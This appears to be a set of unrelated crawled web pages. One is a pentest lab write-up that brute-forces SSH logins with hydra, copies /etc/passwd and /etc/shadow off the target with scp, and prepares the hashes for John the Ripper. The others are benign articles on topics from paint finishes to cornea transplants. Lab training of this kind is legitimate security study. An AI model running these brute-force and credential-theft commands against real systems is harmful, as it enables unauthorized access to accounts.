The changes in computing power which have occurred over the last five years are putting the whole system into overdrive. The convergence of widespread connectivity, massive cloud storage capabilities, and very powerful mobile devices were already laying the platform for a change in the way we do things.
Then the pandemic hit in early 2020 and lockdowns were introduced around the world. Suddenly, digital-first was the only option.
Millions of people (particularly seniors) were forced to grapple with electronic services for the very first time.
ACF Technologies was charged with the incredibly important task of building a national booking service for COVID-19 in the UK. Andy Hart, Managing Director, ACF Technologies (UK) tells the story of how “we got a call from Deloitte on a Friday night, telling us about the system. We had a bunch of meetings over the weekend to hear what they wanted and how quickly they wanted it. National facing systems where an individual can go onto a website and make a booking, and all the systems and processes that go behind it.”
Every day, the situation was getting worse and the urgency was growing.
“What would normally happen over an 18-month period, we got it done in a couple of days. Within 3 weeks of that first meeting, we were live doing the first COVID-19 tests,” says Hart.
The system that ACF built worked so well that they were given the huge responsibility of building an additional system for the national vaccine rollout. Working alongside the NHS and Microsoft, ACF delivered appointment scheduling systems capable of scheduling over 100 million vaccine appointments.
You can watch the incredible story of our Covid-19 partnerships here.
Citizens around the world have learned how to set up their computers, make calls via the web, add new accounts, book, pay online and conduct their business with the private sector and the state.
During COVID-19, the state and the citizenry both learned to adapt.
There is no going back to the old ways. We are moving from a state of “doing digital” where we were adding e-tools to our established practices and hoping for the best to “being digital” where new systems are built specifically for our digital tools.
What Are the Public Sector Challenges?
The implications for changes in the public sector are immense and no sector will be left untransformed.
“A digital transformation project is likely to implicate many other processes and systems, requiring that digital be considered closer to organizations’ core functions and improve its ability to quickly reconfigure itself” according to the Observatory of Public Innovation (OPSI, a body that works to support governments in taking a more deliberate, consistent and strategic approach to the public sector).
5 key areas tech experts need to focus onThere are a few key areas that have emerged as real success stories thus far:
- One Single Portal: A familiar solution that offers different services under one roof is vital to gaining the trust of the public and making sure they use it. A consistent experience will remove frustration and boosts trust in a government's brand - provided it works.
- Offer an omnichannel communication experience: It’s very important to have one centralized platform where users can keep track of their history, but it’s also important to communicate on all the channels where they already are. Use WhatsApp and Instagram to educate and familiarize people with your offerings.
- Process Automation: Machines are more efficient at processing data. Make use of that. Sophisticated AI-assisted automation can process documents better and faster, can store them correctly, and serve them when needed. This should be the heart of a more robust, efficient public service.
- “Auditability” & Security: A successful audit builds trust and requires well-kept records and transparency. When users know that corruption and inefficiency have been cleaned out of the system, they are far more likely to use it consistently.
- Insights and Analytics: Today’s computer systems offer the ability for users to study each step of the process. With easy-to-use dashboards that monitor your processes, managers have access to real-time reports that identify bottlenecks, successes, and everything in between.
It’s Still Early Days
The disruption that digital transformation will bring to the way we govern ourselves is only beginning to be felt now. As more and more of our lives go online, the pace will pick up substantially over the next few years.
No sector of the public service will remain untouched by digital processes.
Office of Public Sector Information (OPSI) neatly sums up the scale of disruption by listing how this will “affect integral organizational infrastructure, create extreme disparities between organizations, impact human and organizational relationships, affect markets, set new implicit rules, and create entirely new forms of value.”
The public sector may appear to be way behind the private sector, but that’s understandable. Deep, lasting transformation is hard to get right, while still maintaining a system that’s been built up over years with deep institutional memories and traditions.
It’s important to remember that most of the technology we’re talking about barely existed five years ago, let alone in the public sector. Civil servants should be given time and space to adapt to the new tools, make suggestions on what works for them, and in the process become advocates for digital change - that’s the only way it will become permanent and be used in ways that better the lives of citizens.
If you’re currently looking into digital transformation, and want to learn more about our solutions, contact us today. ACF has extensive experience delivering scalable, enterprise customer journey solutions to companies on a global scale. Schedule a time to speak with an expert today. | <urn:uuid:e9707092-dc9b-457d-9ace-7e0e6bebfb69> | CC-MAIN-2022-33 | https://blog.acftechnologies.com/no-turning-back-as-public-sector-lurches-toward-digital-transformation | s3://commoncrawl/crawl-data/CC-MAIN-2022-33/segments/1659882570879.37/warc/CC-MAIN-20220809003642-20220809033642-00673.warc.gz | en | 0.951591 | 2,059 | 2.25 | 2 |
It’s so interesting to watch the magic material that is graphene get made, because you can’t really see a damn thing. It’s totally transparent and only one atom thick, so it’s basically creating invisibility with the help of other materials.
A copper foil sheet is used, along with argon gas, in a furnace to drive out oxygen that spits graphene onto the copper foil sheet. Liquid plastic is then dropped on the sheet and the whole thing is spun around at 3,000 RPM. After that, it’s dipped into various liquid solutions to rid itself of the copper and be cleaned of any contaminants. But it’s not made quite yet. It’s then slid onto a silicon chip, evaporated with gold pellets, and blasted with plasma gas. A lot of work to make something you can’t even see! | <urn:uuid:dd971fdb-70f6-4276-bcab-708f11c02b5d> | CC-MAIN-2022-33 | https://gizmodo.com/how-graphene-is-made-1782312904 | s3://commoncrawl/crawl-data/CC-MAIN-2022-33/segments/1659882573104.24/warc/CC-MAIN-20220817183340-20220817213340-00473.warc.gz | en | 0.924093 | 182 | 3.015625 | 3 |
This 45-year-old male has pain around the scaphoid after an accident.
- What is wrong with the scaphoid?
- On the two water-weighted images (image 1, proton density fat suppression; image 2, three-dimensional additive gradient echo or ADAGE), attempt to identify the structures labeled red, blue and green. This is a real challenge unless you are doing a fair amount of hand and wrist imaging or are a hand surgeon. Hint: The red arrows point to two different structures, one thicker and one thinner.
- Nothing is wrong with the scaphoid.
- The thicker structure that is highlighted by the red arrow represents the superficial anterior oblique ligament of the first carpometacarpal junction. The red arrow pointing to the thinner ligament is its deep layer, also known as the beak ligament. Both are swollen and clearly injured with the deeper one slightly corrugated (image 2) or "crimped". The blue arrow highlights the torn medial scaphotrapezial ligament. Finally, this patient's symptoms most likely are emanating from the torn radial collateral ligament of the first carpometacarpal (CMC) junction (green arrows). Another important stabilizer of the first CMC, the dorsomedial posterior ligament, is not specifically shown.
For more case review, head to MRI Online
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The lab is divided in two main parts:
- Network authentication cracking
- Bruteforce and password cracking
In the first part of the lab you will have to use different network authentication cracking techniques and tools against services available on the target machine.
Once valid credentials have been found, it is time to download the passwords stored on the remote system and use John the Ripper to crack them!
I'm on network
Discover live hosts on the network with
fping -a -g 192.168.99.0/24
192.168.99.22 is alive.
nmap -sC -sV -v 192.168.99.22
I guess we have to brute force both the username and the password of the ssh service. Not so sure about the telnet one. Let's
hydra the target's ssh service.
hydra -L /usr/share/security/wordlists/ncrack/minimal.usr -P /usr/share/security/wordlists/SecLists/Passwords/Leaked-Databases/rockyou-10.txt -f ssh://192.168.99.22
Username and password found.
The same process can be used to exploit telnet service.
Let's ssh into the target.
Successfully logged in.
Let's download the password file and crack them use john.
Since python and python3 are not present on the server. Les't
shadow file to local.
scp [email protected]:/etc/passwd . scp [email protected]:/etc/shadow .
sysadmin cannot download
shadow file. Maybe I didn't get the root account. I ran hydra against ssh again using the
rockyou-15.txt password file.
Now I can download the
john the password files. First
unshadow passwd shadow > unshadow.txt
Time elapsed, 1 hour 40 minutes. | <urn:uuid:6080de7d-2c7f-4f46-a490-5b057268ea1b> | CC-MAIN-2022-33 | https://imin.red/2021/06/09/road-to-pentester-ine-lab-brute-forcing/ | s3://commoncrawl/crawl-data/CC-MAIN-2022-33/segments/1659882570879.37/warc/CC-MAIN-20220809003642-20220809033642-00673.warc.gz | en | 0.817597 | 498 | 2.453125 | 2 |
Dickson argues that awareness and action are not the same thing. “It is easier to recognise inequality, to be aware of it, than it is to know how to change our behaviour,” she tells me. “We simply don’t know how to alter our speech or approach, so again the skills in this book are essential for personal change.” Rhiannon Lucy Cosslett in The Guardian
Psychologist and author Anne Dickson has spent over four decades teaching the art of assertive communication. Her first book, A Woman in your own Right was published in 1982. She spoke to Woman’s Hour on BBC Radio 4 about why assertive communication is important and shared her tips on how you can master it. Listen here to my full interview on Woman’s Hour. Read the article here.
The conditioning of the past is still deeply embedded in women’s psyches, which means that simply having more equal opportunities doesn’t always translate into the ability to grasp them. A Woman In Your Own Right – Mslexia
Today has been designated International Women’s Day and for the past week, there have been stories popping up in the media here, in the UK, as women from different walks of life, nationalities, centuries and accomplishment are celebrated for their achievements – usually belatedly and often posthumously. I applaud the celebration but at the same time, I have been wondering why it is necessary to have one special day to consider the contribution of women to this planet.
The tragic events surrounding the terrible death of Sarah Everard have revealed yet again how women have to live with the ever present possibility of violence against them. Most women know this. Most women have experienced verbal or physical harassment in their lives, probably more than once, from strangers, friends or partners. Most women understand that this is the cost of inhabiting a woman’s body in a profoundly patriarchal world where sexism is the norm. And yet, most of the…
The experience of enforced isolation and social distancing has for many been a time when priorities have shifted. What is essential has been separated from the non-essential. For some, the importance of family and loved ones has become more crystallised: others have found surprising tranquillity in unaccustomed silence and solitude. I share this experience. Somehow the world is appearing more clearly and my awareness of what I know about others and the world around me has become more sharply defined….
Walking down a supermarket aisle recently, I found myself face to face with a ‘bank’ of daily newspapers. Every single one displayed an image of Teresa May’s face, contorted with emotion as she fought back tears while giving her resignation speech. If anyone wanted to be reassured that patriarchy is alive and well, they need have looked no further. Although I am used to speaking in front of an audience, I often find myself surprised by tears welling up and… | <urn:uuid:73cef18e-7a5b-42aa-b689-8e31f037ad12> | CC-MAIN-2022-33 | http://www.annedickson.co.uk/blog/ | s3://commoncrawl/crawl-data/CC-MAIN-2022-33/segments/1659882570879.37/warc/CC-MAIN-20220809003642-20220809033642-00673.warc.gz | en | 0.967821 | 605 | 2.390625 | 2 |
As a fellow, I spend much of my time traveling to our cafés along the East Coast, visiting Farm to Fork partners and talking to guests about what makes us great. At the best of times, though, I get to just sit and listen as they explain it to me.
My visit to Goucher College in Baltimore was one such time. At dinner with a group of Goucher’s most environmentally active students, I sat down prepared to explain complex environmental and social issues or answer questions about how we’re addressing them through our purchasing policies. Instead, the students had a feast of compliments for me: they wanted to gush about their Bon Appétit team.
They have a lot to be proud of. Around campus, Resident District Manager Norman Zwagil seemed to me part mayor and part rock star. His excitement was infectious, and I could hardly keep up as he jumps from topic to topic, leaving a sustainability-scented cloud in his wake. Upstairs, General Manager Ty Paup was smoking pork on an outdoor grill that he built with the college’s permission. Over an incredible lunch that included house-made seitan in a vegan Thai curry, I had the pleasure of hearing about this chef’s other passion: farming.
Through their Farm to Fork purchases, Norman and his team are supporting positive change in the tides of agriculture in the Chesapeake Bay region — and one such purchasing relationship is with Big City Farms, a half-acre of greenhouses. Right in the middle of Baltimore, it’s the first farm in the country built on top of an old parking lot, covered with 6 to 8 inches of compost. Farm Manager Alex Persful adds a homegrown mixture of probiotics to the soil, which break down and release more of the nutrients from the compost over time. The lettuces grow year round, and because the compost is so nutrient rich, it won’t be depleted for the foreseeable future.
When I hear “greenhouse,” I think “energy intensive.” Fortunately, that couldn’t be further from the truth when it comes to Big City Farms. The greenhouses aren’t heated with anything except natural sunlight, with the exception of the nursery. The seedlings need to stay slightly warmer to keep from freezing, which is accomplished by water tubes that run underneath the length of the greenhouse. The tubes circulate water in a closed loop system, and the water is heated by a decomposing compost pile nearby. The only energy input required is the electricity for the water pump.
Big City Farms is creating jobs in Baltimore and growing fresh, healthy greens with little detriment to the environment through a creative and resourceful kind of agriculture. With the farms’ plans to expand over the next few years, Bon Appétit’s commitment to purchasing from them is an important component of that growth.
When I drive away from visits to our cafés I am often bursting with pride so robust that it comes out as a huge smile or a skip in my step. We’re fortunate, because sustainability is not only at the heart of what we do, but it goes hand in hand with what we do. We succeed at sustainability because sustainability helps us to succeed. And while we recognize that as a food service company, we still have a long way to go, I couldn’t be more proud to be part of the journey. | <urn:uuid:a1687e73-cc15-4317-8198-de9a735c5544> | CC-MAIN-2022-33 | https://www.bamco.com/blog/goucher_bigcityfarms/ | s3://commoncrawl/crawl-data/CC-MAIN-2022-33/segments/1659882573540.20/warc/CC-MAIN-20220819005802-20220819035802-00473.warc.gz | en | 0.959664 | 702 | 1.734375 | 2 |
PAINT FOR WOOD
WHAT FINISH TO CHOOSE FOR WOOD?
WATER BASED OR OIL BASED ?
I will try to answer these questions from the professional point. We have worked in this industry for the last 20 years, so we have seen the paint quality changing and we have adapted by trying different paints in different situations. Having watched how the paints have lasted over the years a tried new paints as they developed. Now we want to share this to make your lives easier.
PAINT FOR WOOD. OIL BASED VS WATER BASED
Oil based paints used to be the most popular choice in the past, but have lost their popularity. Back in 2010 paint manufactures had to lower the amount of solvent in the paint, which caused it to yellow and people took it seriously. Yellowing problems have been solved by 2012. As water based paints have developed better and better quality, oil based paints have never returned to where they were used to be. Oil based paints look better, as they smooth out more comparing to water based. Also coverage is better now, but the difference is not that big. Advantages of water based paints are the ability to not discolour. There is hardly any smell when working with it and they dry quicker. Most of the paints now being eco-friendly, so it probably makes sense to choose water based over oil based. If the visual finish is more important than the smell and drying times, then oil is your choice. Saying that, there are some glosses that are equally as good, whether they are oil based or water based. Now it boils down to your personal choice and of course your budget.
Gloss is 100% sheen and was created to last if used correctly. It’s more durable than other finishes and can be used indoors or outdoors. It is also suitable for wood and metal. It’s commonly used to paint high traffic areas, like doors, frames, skirting boards, windows and more. It’s popular in schools, communal hallways, GP surgeries, shops, etc. It used to be the most popular choice of paint back in a day as it would have outlasted other paint finishes and was easy to clean.
Things to know when using gloss.
Gloss finish can highlight imperfections in wood, so the surface you are trying to paint with it, needs to be prepared thoroughly. You need to use primer and undercoat, or gloss will simply soak into bare wood. Drying times are a little longer comparing to eggshell especially when using oil based paint.
Satinwood is 50% sheen and is the most popular choice of paint finish for majority of interior woodwork. It is self-undercoating, so it means less different cans to buy, although we would still advise to use primer when painting the bare wood. It’s durable, so you can paint all interior wood. This includes doors, frames, skirting boards, window sills and even interior of wooden windows. Make sure to apply enough coats in order to achieve a good finish that would last. Water based satinwood intends to leave more visible brush lines compared to oil based satinwood, so needs extra effort when painting.
20% sheen finish. Very popular choice between designers and architects as it is visually pleasant as well as great to touch. It gives smooth, almost matt finish and helps to minimize imperfections. When drying and while it is fresh, it might look like satinwood, but shininess goes away after about 2 or 3 weeks. It can be used in all styles of properties. Although in high traffic areas might not last as well as gloss or satinwood. It gets dirty quicker, than other finishes, but can be cleaned easy enough. Eggshell is also self-undercoating, but again, we would advise to use the primer when applying to new wood. Some brands produce exterior eggshell as well as interior as long as it’s used with correct undercoat. Exterior eggshell durability won’t be equal to gloss though, there for we would advise to use more for interior projects. Water based eggshell will leave more visible brush marks comparing to oil based, although some brands can produce equally as good water based eggshell. Yet again, it boils down to personal choice when choosing between oil based or water based finish, but the higher the price the higher the paint quality will be. | <urn:uuid:783f3804-af60-418f-b773-5caef2f7cdfc> | CC-MAIN-2022-33 | https://www.lgcdecorators.co.uk/paint-finishes-for-wood-gloss-satinwood-eggshell/ | s3://commoncrawl/crawl-data/CC-MAIN-2022-33/segments/1659882570879.37/warc/CC-MAIN-20220809003642-20220809033642-00673.warc.gz | en | 0.975559 | 922 | 1.695313 | 2 |
Several years ago one of my sisters and brothers-in-law took my father’s Bible and copied all of his hand-written notes within. They compiled it into a little booklet entitled ‘Words of Worth.’
Below are a few excerpts…
“Man is not his own maker. Therefore, he must not be his own master.” – Leonard Ravenhill
There is always chaff where you have wheat, but there shouldn’t be more chaff than wheat! – Anonymous
Sing lustily and with good courage. Beware of singing as if you were half dead, or asleep; but lift up your voice with strength. Be no more afraid of your voice now, nor more ashamed of its being heard than when you sang the songs of Satan. – John Wesley
We are not storehouses, but channels.
We are not cisterns, but springs, passing our benefits onward,
Fitting our blessings with wings; letting the water flow onward
To spread o’er the desert forlorn; sharing our bread with our brothers,
Our comfort with those who mourn.
Man sees a body struggling with pain, God sees a spirit growing strong again.
Man sees but weakness – God sees new power; a saint is learning patience with every trying hour.
Man sees but sickness, counts the healing slow. God is rejoicing to see a loved one grow.
Man sees days wasted – God counts them gain. For faith as sweet as childhood is growing out of pain.
Man feels a sorrow rising in his breast. God in his wisdom leadeth into rest.
Man sees the present – God sees the goal. And by seeming bondage is setting free the soul.
– V. Raymond Edman
Someone once asked George Whitefiled, “Is that man over there a Christian?” Whitefield replied, “I don’t know, I haven’t talked to his wife.”
The question is not the sincerity with what we believe, but the truth of what we believe. – Anon
Working on ourselves all the time produces a warped saint. Our best improvement comes roundabout – indirectly – as we help one another along. – Vance Havner | <urn:uuid:ea51b774-8dfb-4dee-a95f-53ef8e756e9b> | CC-MAIN-2022-33 | https://pueblowestbaptistchurch.com/words-of-worth/ | s3://commoncrawl/crawl-data/CC-MAIN-2022-33/segments/1659882570879.37/warc/CC-MAIN-20220809003642-20220809033642-00673.warc.gz | en | 0.958443 | 464 | 1.78125 | 2 |
Remastered video games are all the buzz, but what do they mean for the game industry? Are we heading towards a Hollywood-esque world of stale franchise refreshments? Or is remastering a video game something more? Are publishers just trying to suck the money out of our wallets? I mean, probably yeah, but whatever.
Essentially, remastering a video game is a process to get that game onto the latest consoles. A remastered video game will generally have a a graphical upgrade, rendering the graphics in higher definition so that the young’uns don’t projectile vomit when they see it on their HD TVs. The extent to which a game’s graphics change really depends on who is remastering it and what effect they want to achieve.In the upcoming Final Fantasy VII game for PlayStation 4, the art is changing drastically from the original. Since none of those original assets will end up in the game, I think it’s safe to call it a remake. But with games series like Uncharted, which is coming out in a collection for the PlayStation 4, the remaster consists of a graphical spit and polish to make it HD.
As Omar Elaasar writes on Medium, “high-definition” is a meaningless concept. What we consider HD will change with every technological leap forward, and technology moves at a startlingly fast pace. That’s another thing that sets video games apart from films. When we see old actors in films, we can appreciate the film as an artifact of its time. Their clothes, their way of talking, the painted sets—we recognize the legitimacy of those things. And at its core, the way that we make films hasn’t changed all that much.
A video game shows its age more readily. Whether it’s in the awkward mechanics of a game from 10 years ago or just an ugly texture that was once the best we had, people are quick to cringe at “the way things were.” And since it’s all artificial, what we now consider shortcomings are way more apparent.
Of course, there’s a lot to appreciate there, especially if you do consider video games as valuable artifacts of their time. Read the full Elaasar piece for an in-depth comparison of original and remastered games—some of the “improvements” aren’t improvements at all.
The big value of remastering a video game isn’t in the graphics though. It’s in the console. Like I said, technology moves fast. Many of the video games that I played growing up simply don’t exist anymore. Getting them to run on my laptop would require some illegal downloading and an emulator, and that’s a lot of trouble to go through for Jump Start Adventures 4th Grade.
But this means that hundreds and thousands of games are lost to the passage of time. If this were any other medium, there would an outcry; imagine if that many books just up and vanished. Remastering video games to bring them to current consoles is a cash grab, sure, but it’s also one of the only ways we can keep them around for a little longer.
And it’s a band-aid on a big problem. Because what we now call current-gen consoles will be last-gen in just a few years. As Courtney points out in our conversation, Nintendo has been pretty good about making their new consoles backwards compatible. The Wii would play GameCube games, and the Wii U plays Wii games. But that’s just one generation of backwards compatibility. Making a console backwards compatible is no small feat, either. The Xbox One will be backwards compatible with some Xbox 360 games, but it’s an ongoing effort and it still won’t cover every game from the 360 generation.
That’s why I don’t understand a lot of the grumbles and complaints when a remaster is announced. Sure, we don’t need Bioshock on Xbox One and PlayStation 4, but if my PlayStation 3 combusted one day, I would be thrilled to know that one of my favorite games was still playable, even if I had to repurchase it.
Courtney and I both had a near-spiritual experience playing Zoombinis for iPad this summer when it came out. This was a game we had both played on our computers as children. Like a lot of games, it was unplayable on newer machines. Then an educational company decided to remake it for tablets. The art has changed considerably, but the gameplay and audio are all the same. And guess what? It’s still good.
I don’t have a better solution to the archiving problem facing video games today. If rereleasing them for new consoles is what we have, I’m all for it. It’s still a process that leaves a lot of games, mostly indies, out of the loop. With no big publishers fronting the costs to put those games on newer machines, a lot of indie games will most likely disappear into the void.
I hope that moving forward we’ll come up with better solutions for preserving games as they were, not just as we want them to look. | <urn:uuid:89cdf0c2-45b3-4934-b30c-abeea675f949> | CC-MAIN-2022-33 | https://pixelkin.org/2015/09/30/the-issue-are-there-too-many-hd-remakes-of-games/ | s3://commoncrawl/crawl-data/CC-MAIN-2022-33/segments/1659882570879.37/warc/CC-MAIN-20220809003642-20220809033642-00673.warc.gz | en | 0.956944 | 1,092 | 1.835938 | 2 |
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Penetrating keratoplasty involves transplanting the entire cornea and is indicated when the entire thickness of the cornea is affected.
Benefits of penetrating keratoplasty
Improved vision. Approximately 75% of transplant patients have enough vision to drive, although they often need glasses or contact lenses, and, in some cases, further surgery to improve the quality of their eyesight.
Risks of penetrating keratoplasty
Rare but serious complications
Infection that can affect the eyesight (1 in 1,000).
Severe bleeding that causes loss of vision.
Severe inflammation or other causes of vision loss.
Vision loss. Cornea transplants can cause vision loss due to:
Cornea transplant rejection. One in six patients may reject the transplant at some time in the first few years after surgery. This often occurs because the patient stops taking the anti-rejection medication without advice from their doctor. However, rejection remains a possibility throughout the patient's life due to transplant failure or ageing, which will once again lead to reduced vision. This occurs in one in 10 transplants conducted due to keratoconus, in the first 10 years.
Glaucoma. This complication can usually be controlled by applying drops to lower the intraocular pressure, but it may occasionally require surgery.
Cataracts. These can be operated on by inserting an intraocular lens.
Surgery: cornea transplant or penetrating keratoplasty
Generally, the operation is performed under local anaesthetic and lasts approximately an hour. The procedure consists of removing an 8 mm circular section (button) from the centre of the damaged cornea and replacing it with an 8.5 mm button. This is held in place with tiny stitches that are neither visible nor noticeable.
After the operation, the extracted cornea is examined under a microscope in the microbiology and/or pathology lab.
Usually, the patient is discharged the same day. The surgeon follows up on the procedure the next day, and then a week later. From that point, the patient must have regular check-ups. If they work, it is advised that they take a two-week sick leave.
After the operation, the patient has to use anti-rejection eye drops for at least a year and, in some cases, forever. The stitches can be taken out six months after the operation, although, in general, they are not completely removed until a year has passed. | <urn:uuid:28906533-3965-4624-beac-97de7bfee23a> | CC-MAIN-2022-33 | https://www.clinicbarcelona.org/en/assistance/tests-and-procedures/cornea-transplant/penetrating-keratoplasty | s3://commoncrawl/crawl-data/CC-MAIN-2022-33/segments/1659882570879.37/warc/CC-MAIN-20220809003642-20220809033642-00673.warc.gz | en | 0.942904 | 567 | 2.484375 | 2 |
Homer, Odyssey 8.147-8
“For as long as he lives, a man has no greater glory
than that which he wins with his own hands and feet”
οὐ μὲν γὰρ μεῖζον κλέος ἀνέρος, ὄφρα κεν ᾖσιν,
ἢ ὅ τι ποσσίν τε ῥέξῃ καὶ χερσὶν ἑῇσιν.
Diogenes Laertius, Life of Pythagoras 8.1
“Sosikrates in his Successions writes that when Pythagoras was asked by Leon the Tyrant of Plius what he was, he said “A philosopher”. And he was in the custom of comparing life to the Great Games because while some go there to compete, others go there to make money, even as some of the best go to watch. In the same way, in life, some grow up in servile positions, Pythagoras used to say, hunting for fame and profit while the philosopher hunts for the truth. That’s enough of that.”
Σωσικράτης δ᾿ ἐν Διαδοχαῖς φησιν αὐτὸν ἐρωτηθέντα ὑπὸ Λέοντος τοῦ Φλιασίων τυράννου τίς εἴη, φιλόσοφος, εἰπεῖν. καὶ τὸν βίον ἐοικέναι πανηγύρει· ὡς οὖν εἰς ταύτην οἱ μὲν ἀγωνιούμενοι, οἱ δὲ κατ᾿ ἐμπορίαν, οἱ δέ γε βέλτιστοι ἔρχονται θεαταί, οὕτως ἐν τῷ βίῳ οἱ μὲν ἀνδραποδώδεις, ἔφη, φύονται δόξης καὶ πλεονεξίας θηραταί, οἱ δὲ φιλόσοφοι τῆς ἀληθείας. καὶ τάδε μὲν ὧδε.
Tertullian, De Spectaculis
“This will be enough regarding the stained origin of games in idolatry”
Sed haec satis erunt ad originis de idololatria reatum.
“How many ways have we shown that nothing which has to do with these games pleases god!”
Quot adhuc modis probavimus, nihil ex his quae spectaculis deputantur placitum deo esse!
Plutarch, Progress in Virtue 79F
Once when Aeschylus was watching a boxing match at the Isthmian games, one of the men was hit and the audience screamed out. He elbowed Ion of Chios and said, “Do you see what training is like? The man who was hit stays silent and the spectators yell!”
Αἰσχύλος μὲν γὰρ Ἰσθμοῖ θεώμενος ἀγῶνα πυκτῶν, ἐπεὶ πληγέντος τοῦ ἑτέρου τὸ θέατρον ἐξέκραγε, νύξας Ἴωνα τὸν Χῖον “ὁρᾷς,” ἔφη, “οἷον ἡ ἄσκησίς ἐστιν; ὁ πεπληγὼς σιωπᾷ, οἱ δὲ θεώμενοι βοῶσιν.”
Pindar, Nem. 4.6
“The story of deeds lives longer than deeds themselves”
ῥῆμα δ’ ἐργμάτων χρονιώτερον βιοτεύει
Cicero, De Senectute 58
“Let others have weapons, horses, spears, fencing-foils, ball games, swimming competitions, races, and leave to the old men dice and knucklebones for games. Or let that go too since old age can be happy without it.”
Sibi habeant igitur arma, sibi equos, sibi hastas, sibi clavam et pilam, sibi natationes1 atque cursus; nobis senibus ex lusionibus multis talos relinquant et tesseras; id ipsum ut2 lubebit, quoniam sine eis beata esse senectus potest.
Lucretius, De Rerum Natura 4.973-984
“And whenever people for many days in a row
Have given endless attention to games, we see that many
Have stopped actually absorbing these things with their senses
Even though there are paths still open in the mind
By which the representations of things may enter.
For many days in this way the same things are seen
Before their eyes and they stay awake so that they might seem
To see dancers moving their gentle limps
Or brush with their ears the liquid song of the lyre
And the talking chords, and to sense again that same concord
And the wild spectacular with its bright scene.”
Et quicumque dies multos ex ordine ludis
adsiduas dederunt operas, plerumque videmus,
cum iam destiterunt ea sensibus usurpare,
relicuas tamen esse vias in mente patentis,
qua possint eadem rerum simulacra venire.
per multos itaque illa dies eadem obversantur
ante oculos, etiam vigilantes ut videantur
cernere saltantis et mollia membra moventis,
et citharae liquidum carmen chordasque loquentis
auribus accipere, et consessum cernere eundem
scenaique simul varios splendere decores.
Horace, Epistles 1.19.48-9
“Sport tends to give rise to heated strife and anger, anger in turns brings savage feuds and war to the death”.
ludus enim genuit trepidum certamen et iram, ira truces inimicitias et funebre bellum.
Xenophanes, Fragment 2. 16-19
“Swiftness of feet—the thing honored most in all of man’s acts of strength in the contest—could never make a city governed well.”
οὐδὲ μὲν εἰ ταχυτῆτι ποδῶν, τόπερ ἐστὶ πρότιμον,
ῥώμης ὅσσ’ ἀνδρῶν ἔργ’ ἐν ἀγῶνι πέλει,
τούνεκεν ἂν δὴ μᾶλλον ἐν εὐνομίηι πόλις εἴη· | <urn:uuid:1737c04a-e0a9-48e1-b22c-d2a31b6fd152> | CC-MAIN-2022-33 | https://sententiaeantiquae.com/tag/distractions/ | s3://commoncrawl/crawl-data/CC-MAIN-2022-33/segments/1659882570692.22/warc/CC-MAIN-20220807181008-20220807211008-00673.warc.gz | en | 0.77287 | 2,035 | 2.625 | 3 |
Philadelphia CeaseFire has a new tool in the fight against gun violence: a converted 1995 Winnebago that reads: “Stop. Shooting. People.” The vehicle is intended to “show residents and those just driving by that we’re really out here, on the streets, working toward a reduction in youth violence,” said program director Marla Davis Bellamy.
The group, part of a nationwide intervention and outreach program for 14- to 25-year-olds to reduce shootings and homicides, is a product of Temple University’s Center for Bioethics, Urban Health and Policy.
“According to the Philadelphia Police Department’s 2013 homicide report, 32 percent of homicide victims that year – 79 out of 247 – were between the ages of 18 and 24, the highest of any age group,” writes The Philadelphia Inquirer‘s Joe Dolinsky.
Many of Philadelphia CeaseFire’s thirteen outreach workers are ex-offenders, and one participant, Chris Baylis, credits the program with leading him on a new path.
“Drugs, guns . . . that’s all I knew. For a lot of these guys, that’s all they knew. But they [Philadelphia CeaseFire] showed me a different way.”
Philadelphia CeaseFire is unaffiliated with CeaseFirePennsylvania, but the two groups are often partners in their efforts to fight gun violence. | <urn:uuid:faf7cdce-ad00-465d-b4ae-515f4318d575> | CC-MAIN-2022-33 | https://test2.ceasefirepa.org/general-interest/philadelphia-ceasefires-converted-winnebago-raises-awareness-about-gun-violence/ | s3://commoncrawl/crawl-data/CC-MAIN-2022-33/segments/1659882570879.37/warc/CC-MAIN-20220809003642-20220809033642-00673.warc.gz | en | 0.958855 | 305 | 1.914063 | 2 |
The water affairs department has lifted the suspension on a water use licence for a proposed colliery in Limpopo, which environmental groups claim threatens ecological and culturally significant sites.
Despite a huge outcry from a coalition of non-governmental organisations which aim to protect the environment, minister of water and environmental affairs, Edna Molewa, issued the licence to the proposed colliery’s owner, Coal of Africa Ltd (CoAL).
This will allow the colliery to start operations during the first quarter of next year, which include producing 1 million tons of coking coal at its Vele site.
“The coalition is concerned about the minister’s decision to lift the suspension, as it is contrary to the procedure stipulated in the National Water Act (NWA),” said the Endangered Wildlife Trust, a member of the Coalition Group to Save Mapungubwe.
Minister Molewa’s spokesperson, Linda Page, said that the minister had given due consideration to the interests of all the affected parties before coming to a decision to lift the suspension. The minister reportedly came to the conclusion that the time it would have taken for the coalition’s appeal to be finalised by the Water Tribunal would have prejudiced CoAL’s investment and also the workers at Vele.
Page added, “The minister, after consulting widely on the matter, concluded that the strict conditions attached to the licence are adequate. These include that the licence has been issued for five years and is renewable after the first year and every two years thereafter; the mine must, within three months of being issued with a water use licence, establish a [water] monitoring forum; [and] the daily quantity of water taken must be metered and gauged and the total recorded on the last day of each month.”
On hearing the news of the lifting of the suspension, CoAL’s CEO, John Wallington, said he was pleased that the petition to Molewa in this regard had been successful. – Lloyd Phillips | <urn:uuid:d924583c-9d8b-4354-ad9b-b1f691d22e5f> | CC-MAIN-2022-33 | https://www.farmersweekly.co.za/archive/coal-to-start-mining-in-mapungubwe/ | s3://commoncrawl/crawl-data/CC-MAIN-2022-33/segments/1659882573104.24/warc/CC-MAIN-20220817183340-20220817213340-00473.warc.gz | en | 0.970617 | 415 | 1.921875 | 2 |
Fomic Mat Numbers-Large Description
Some fun ideas for teaching numbers to your kids. So the mega shop is presenting you a fomic mat numbers to teach your child numbers in a fun way. It’s awesome number recognition activity and Fun Game activity you can try at home.
Furthermore, made of non-toxic, lightweight, and high-density EVA foam. Combination of 6 colors, help children learn color and numbers through Puzzles Game. Using a soft foam and easily set on the floor. Numbers write with a solid color that will not erase easily. This play matt is best learning numbers just like a 123 Digital printed Box. Creative and easy way to teach your child numbers.
On the other hand. The length of product is 31.5cm x31.5cm x 10.5cm (HxLxB) Per tile is 31.5cm (LxB). The total coverage area after assemble is 26 square feet. Easy to use and clean. Numbers Game make your child learning effective and fun-loving.
Fomic Mat Numbers-Large Reviews
